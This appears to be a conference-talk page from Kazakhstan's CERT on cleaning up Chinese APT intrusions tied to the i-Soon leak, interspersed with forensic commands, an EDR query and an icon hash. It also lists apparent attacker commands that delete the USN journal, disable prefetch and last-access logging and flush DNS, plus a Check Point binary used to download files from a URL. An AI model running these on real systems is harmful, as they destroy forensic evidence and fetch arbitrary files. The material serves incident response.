vim-cmd vmsvc/getallvms

vim-cmd vmsvc/snapshot.create <vmid> <snapshotname> <description> true true

/tmp/v -f "/vmfs/volumes/<uuid>/<snapshotname>/file.vmem" imageinfo

This year's i-Soon leak revealed that Critical Infrastructures were targeted by Chinese APT in different countries such as: US, India, Kazakhstan, Vietnam, Malaysia, Mongolia, Taiwan, Thailand, South Korea, the Philippines, Myanmar, and Nepal.
We are Kazakhstan’s National Computer Emergency Response team were responsible for coordinating in handling these incidents and clearing the infrastructure.
As a result, we come up with Infrastructure cleanup plan from APT. In this talk we would like to go through all stages of responding to the incident starting from building a team, setting up a secure communication channel and describing tools used in each stage of response.
We will also focus on using Kaspersky Anti Targeted Attack Platform EDR and Sandbox.
At the end we will reveal several unusual TTP’s of an actor.

event_type: "filecreatewin"

AND

file_path: ("programdata" AND "blf")

ipconfig /flushdns >$null

Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\FileSystem' -Name 'NtfsDisableLastAccessUpdate' -Value 1 -Force

Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\' -Name 'EnablePrefetcher' -Value 0 -Force

Stop-Service -Name CDPUserSvc* -Force 2>$null

fsutil usn deletejournal /d c: 2>$null

icon_hash="-1049861794"

C:\Program Files (x86)\CheckPoint\Endpoint Connect\DAAW.exe -url <url> -fileName <path>